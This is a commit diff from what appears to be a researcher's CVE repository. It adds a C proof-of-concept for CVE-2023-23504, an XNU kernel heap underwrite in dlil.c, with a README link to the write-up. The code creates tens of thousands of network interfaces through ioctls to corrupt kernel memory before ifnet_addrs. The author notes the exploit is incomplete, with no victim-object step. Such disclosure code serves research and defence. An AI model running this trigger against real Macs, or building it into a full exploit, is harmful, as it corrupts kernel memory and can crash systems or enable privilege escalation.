🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2023-23504/CVE-2023-23504.c
     1 +#include <stddef.h>
     2 +#include <sys/socket.h>
     3 +#include <netinet/in.h>
     4 +#include <stdio.h>
     5 +#include <unistd.h>
     6 +#include <string.h>
     7 +#include <stdlib.h>
     8 +#include <sys/ioctl.h>
     9 +#include <fcntl.h>
     10 +#include <arpa/inet.h>
     11 +#include <signal.h>
     12 +#include <stdbool.h>
     13 + 
     14 +#include <mach/mach.h>
     15 +#include <mach/mach_traps.h>
     16 +#include <net/if.h>
     17 + 
     18 +/*
     19 + 
     20 + Author: Adam Doupe (adamd)
     21 + POC for CVE-2023-23504: a kernel heap underwrite in dlil.c in XNU.
     22 + Writeup: https://adamdoupe.com/blog/2023/01/23/cve-2023-23504-xnu-heap-underwrite-in-dlil-dot-c/
     23 + 
     24 +*/
     25 + 
     26 + 
     27 +#define VLAN_PREFIX "vlan"
     28 +#define BRIDGE_PREFIX "bridge"
     29 +#define FETH_PREFIX "feth"
     30 +#define GIF_PREFIX "gif"
     31 + 
     32 +#define OVERFLOW_TARGET 0x10000
     33 + 
     34 +#define DEBUG 0
     35 + 
     36 +const int IF_MAXUNIT = 0x7fff;
     37 + 
     38 +const int TOTAL_GOAL_INTERFACE_NUMBERS = 0x10000; // If we allocate this many, the next will overflow
     39 + 
     40 +const int STEP_1_GOAL_INTERFACE_NUMBERS = TOTAL_GOAL_INTERFACE_NUMBERS / 2; // the next if allocate will trigger the final memory allocation
     41 + 
     42 +int sockfd = -1;
     43 + 
     44 +int execute_command_get_int_output(char* cmd)
     45 +{
     46 + char* to_execute = NULL;
     47 + asprintf(&to_execute, "%s > /tmp/test.adamd", cmd);
     48 + if (to_execute == NULL)
     49 + {
     50 + perror("asprintf");
     51 + exit(-1);
     52 + }
     53 + system(to_execute);
     54 + free(to_execute);
     55 +
     56 + int fd = open("/tmp/test.adamd", O_RDONLY);
     57 + if (fd == -1)
     58 + {
     59 + perror("open");
     60 + exit(-1);
     61 + }
     62 + 
     63 + char buf[4096];
     64 + read(fd, buf, 4096);
     65 + buf[4095] = '\0';
     66 + 
     67 + int result = atoi(buf);
     68 + 
     69 + close(fd);
     70 + system("/bin/rm /tmp/test.adamd");
     71 + 
     72 + return result;
     73 +}
     74 + 
     75 +void create_interfaces(char* prefix, int prefix_to_use, int num_interfaces, bool keep_interfaces)
     76 +{
     77 + 
     78 + int prefix_id = prefix_to_use;
     79 + 
     80 + if (sockfd == -1)
     81 + {
     82 + sockfd = socket(PF_INET, SOCK_STREAM, 0);
     83 + if (sockfd == -1)
     84 + {
     85 + perror("socket");
     86 + exit(-1);
     87 + }
     88 + }
     89 + 
     90 + for (int i = 0; i < num_interfaces; i++)
     91 + {
     92 + struct ifreq ifr = { 0
     93 + };
     94 + 
     95 + sprintf(ifr.ifr_name, "%s%d", prefix, prefix_id);
     96 + 
     97 + int ret = ioctl(sockfd, SIOCIFCREATE, &ifr);
     98 + if (ret != 0)
     99 + {
     100 + perror("ioctl SIOCIFCREATE");
     101 + exit(-1);
     102 + }
     103 + 
     104 + memset(&ifr, 0, sizeof(ifr));
     105 + sprintf(ifr.ifr_name, "%s%d", prefix, prefix_id);
     106 + 
     107 + // now destroy it, for speed
     108 + if (!keep_interfaces)
     109 + {
     110 + ret = ioctl(sockfd, SIOCIFDESTROY, &ifr);
     111 + if (ret != 0)
     112 + {
     113 + perror("ioctl SIOCIFDESTROY");
     114 + exit(-1);
     115 + }
     116 + }
     117 + 
     118 + prefix_id += 1;
     119 + 
     120 + if ((i % 100) == 0)
     121 + {
     122 + printf("Created %s %d\n", ifr.ifr_name, i);
     123 + }
     124 + }
     125 +}
     126 + 
     127 + 
     128 +// 1. Allocate interfaces right before the last allocation that triggers a kalloc of the ifnet_addrs.
     129 +void step_1()
     130 +{
     131 + // ifnet_addrs and ifindex2ifnet are both allocated after interfaces reaches 8+1, 16+1, 32+1, ...
     132 +
     133 + char* cmd = "/usr/sbin/sysctl -A | /usr/bin/grep ifcount | /usr/bin/cut -d':' -f2 | /usr/bin/xargs";
     134 + int current_interfaces = execute_command_get_int_output(cmd);
     135 + 
     136 + printf("current_interfaces: %d\n", current_interfaces);
     137 + 
     138 + // Given the goal_interface_numbers and the limit, should be able to just do one allocation of a type that isn't used yet.
     139 + 
     140 + // For no reason at all, let's use vlan, which is probably not used at all
     141 + 
     142 + int needed_interfaces = STEP_1_GOAL_INTERFACE_NUMBERS - current_interfaces;
     143 + 
     144 + printf("Going to create %d more interfaces\n", needed_interfaces);
     145 + 
     146 + create_interfaces(VLAN_PREFIX, 0, needed_interfaces, false);
     147 + 
     148 + printf("Step 1 complete!\n");
     149 +}
     150 + 
     151 +int target_feth_idx = 0;
     152 + 
     153 +// 3. Allocate the next interface, which should cause the allocation
     154 +// of ifnet_addrs. It should be right after what we did in step_2.
     155 +void step_3()
     156 +{
     157 + printf("Starting step 3\n");
     158 + 
     159 + const int bridge_interfaces = 0x100;
     160 + 
     161 + create_interfaces(BRIDGE_PREFIX, 100, bridge_interfaces, false);
     162 + 
     163 + int needed_interfaces = TOTAL_GOAL_INTERFACE_NUMBERS - STEP_1_GOAL_INTERFACE_NUMBERS - bridge_interfaces;
     164 + 
     165 + printf("Creating the rest of the %d feth interfaces needed\n", needed_interfaces);
     166 + create_interfaces(FETH_PREFIX, 0, needed_interfaces-1, false);
     167 + 
     168 + create_interfaces(FETH_PREFIX, needed_interfaces-1, 1, true);
     169 + 
     170 + // this should be the feth that was created
     171 + target_feth_idx = needed_interfaces - 1;
     172 + 
     173 + printf("target interface: feth%d\n", target_feth_idx);
     174 + 
     175 + printf("Step 3 complete\n");
     176 +}
     177 + 
     178 + 
     179 + 
     180 +int main(int argc, char** argv)
     181 +{
     182 + step_1();
     183 + // step 2 would be to allocate the victim object that we want to overwrite, but I haven't done it yet on 12.6
     184 + step_3();
     185 + 
     186 + printf("If we made it here, we did not crash, so something was before ifnet_addrs and was overwritten\n");
     187 + printf("ifnet_addrs[-1] should have been overwritten with a pointer\n");
     188 + 
     189 + return 0;
     190 +}
     191 + 
     192 + 
  • ■ ■ ■ ■ ■
    README.md
    skipped 3 lines
    4 4   
    5 5  ## CVEs and POCs
    6 6   
     7 +- [CVE-2023-23504](https://adamdoupe.com/blog/2023/01/23/cve-2023-23504-xnu-heap-underwrite-in-dlil-dot-c/): [POC](./CVE-2023-23504/CVE-2023-23504.c)
    7 8  - [CVE-2022-42845](https://adamdoupe.com/blog/2022/12/13/cve-2022-42845-xnu-use-after-free-vulnerability-in-ndrv-dot-c/): [POC](./CVE-2022-42845/CVE-2022-42845.c)
    8 9   
    9 10   
    skipped 1 lines
Please wait...
Page is in error, reload to recover